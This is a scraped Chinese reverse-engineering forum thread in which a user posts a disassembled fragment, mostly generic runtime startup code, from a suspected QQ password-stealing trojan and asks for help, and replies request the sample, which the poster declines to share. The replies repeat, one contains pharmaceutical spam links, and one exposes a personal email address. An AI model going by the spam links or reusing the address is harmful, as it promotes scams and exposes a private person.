  test byte ptr [ebp-30], 1
  je L1412
  movzx eax, word ptr [ebp-2C]
  jmp L1414
L1407:
  cmp    byte ptr [esi], 20
  jbe L1394
  inc    esi
  mov    dword ptr [ebp-74], esi
  jmp L1407
L1412:
  push 0A
  pop    eax
L1414:
  push eax
  push esi
  push ebx
  push ebx
  call GetModuleHandleA
  push eax
  call L000
  mov    dword ptr [ebp-68], eax
  push eax
  call exit
  mov    eax, dword ptr [ebp-14]
  mov    ecx, dword ptr [eax]
  mov    ecx, dword ptr [ecx]
  mov    dword ptr [ebp-78], ecx
  push eax
  push ecx
  call L1442
  pop    ecx
  pop    ecx
  retn
  db    8B
  db    65
  db    E8
  db    FF
  db    75
  mov    bh, bh
  db    15
  dd    <&MSVCRT._exit>
L1442:
  jmp _XcptFilter
L1443:
  jmp _initterm
L1444:
  push 30000
  push 10000
  call L1453
  pop    ecx
  pop    ecx
  retn
  xor    eax, eax
  retn
L1452:
  retn
L1453:
  jmp _controlfp
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  int3
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00
  db    00

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)

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笨笨雄雪币： 846 活跃值： (221) 能力值： (RANK：570 ) 在线值：发帖 212 回帖 3620 粉丝 22 关注私信	笨笨雄 14 2 楼用一些网络相关的监控软件不就好了。。。 2007-4-9 20:31 0
月亮湾雪币： 200 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	月亮湾 3 楼为什么我的电脑中毒时没有代码的？你的有？ 2007-4-9 22:51 0
poetbox 雪币： 201 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 40 粉丝 0 关注私信	poetbox 4 楼现在已经防火墙拦下来了。有好几个，这个是没有壳的，直接用OD打开看的代码。偷密码的人是个黑龙江的人，我已经查出来了。 2007-4-10 21:22 0
icefall 雪币： 154 活跃值： (80) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 156 粉丝 0 关注私信	icefall 1 5 楼代码看不出什么,要样本 2007-4-10 23:08 0
poetbox 雪币： 201 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 40 粉丝 0 关注私信	poetbox 6 楼样本是病毒，不便上传。何况，被拿去害人，更是会令我产生负罪感。既然看不出什么，就算啦～ 2007-4-11 10:22 0
IamHuskar 雪币： 1392 活跃值： (5107) 能力值： ( LV13，RANK：240 ) 在线值：发帖 76 回帖 1659 粉丝 67 关注私信	IamHuskar 4 8 楼 1326761044&qq.com 楼主求样本。强烈求.中毒了不怪你~ 2013-10-13 19:23 0
kangcin 雪币： 602 活跃值： (45) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 482 粉丝 0 关注私信	kangcin 9 楼就一堆垃圾代码能看出啥来,要是能看出来也不用传上来了,有样本的话还是比较容易的,地址加密或从配置文件获取等方式都不可能从发的一些无用代码里面看出来的 2013-10-13 19:30 0
Robertjelf 雪币： 0 能力值： (RANK：10 ) 在线值：发帖 0 回帖 5 粉丝 0 关注私信	Robertjelf 10 楼 <a href=http://achetercialisgeneriqueenlignefrance.com/>acheter cialis</a> cialis acheter <a href=http://acquistarepillolecialisgenericoitalia.com/>generico cialis</a> comprare cialis <a href=http://comprarcialiscomprimidogenericoespana.com/>comprar cialis</a> comprar cialis 2014-6-8 09:20 0
lovelyday 雪币： 31 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 169 粉丝 0 关注私信	lovelyday 11 楼传个病毒没什么危害吧，光贴点汇编木有用啊，说得不好听点，病毒我每天都见到成千上万个，盗个QQ号的只是最普通的。。。 2014-6-8 09:50 0
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笨笨雄雪币： 846 活跃值： (221) 能力值： (RANK：570 ) 在线值：发帖 212 回帖 3620 粉丝 22 关注私信	笨笨雄 14 2 楼用一些网络相关的监控软件不就好了。。。 2007-4-9 20:31 0
月亮湾雪币： 200 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	月亮湾 3 楼为什么我的电脑中毒时没有代码的？你的有？ 2007-4-9 22:51 0
poetbox 雪币： 201 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 40 粉丝 0 关注私信	poetbox 4 楼现在已经防火墙拦下来了。有好几个，这个是没有壳的，直接用OD打开看的代码。偷密码的人是个黑龙江的人，我已经查出来了。 2007-4-10 21:22 0
icefall 雪币： 154 活跃值： (80) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 156 粉丝 0 关注私信	icefall 1 5 楼代码看不出什么,要样本 2007-4-10 23:08 0
poetbox 雪币： 201 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 40 粉丝 0 关注私信	poetbox 6 楼样本是病毒，不便上传。何况，被拿去害人，更是会令我产生负罪感。既然看不出什么，就算啦～ 2007-4-11 10:22 0
IamHuskar 雪币： 1392 活跃值： (5107) 能力值： ( LV13，RANK：240 ) 在线值：发帖 76 回帖 1659 粉丝 67 关注私信	IamHuskar 4 8 楼 1326761044&qq.com 楼主求样本。强烈求.中毒了不怪你~ 2013-10-13 19:23 0
kangcin 雪币： 602 活跃值： (45) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 482 粉丝 0 关注私信	kangcin 9 楼就一堆垃圾代码能看出啥来,要是能看出来也不用传上来了,有样本的话还是比较容易的,地址加密或从配置文件获取等方式都不可能从发的一些无用代码里面看出来的 2013-10-13 19:30 0
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lovelyday 雪币： 31 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 169 粉丝 0 关注私信	lovelyday 11 楼传个病毒没什么危害吧，光贴点汇编木有用啊，说得不好听点，病毒我每天都见到成千上万个，盗个QQ号的只是最普通的。。。 2014-6-8 09:50 0
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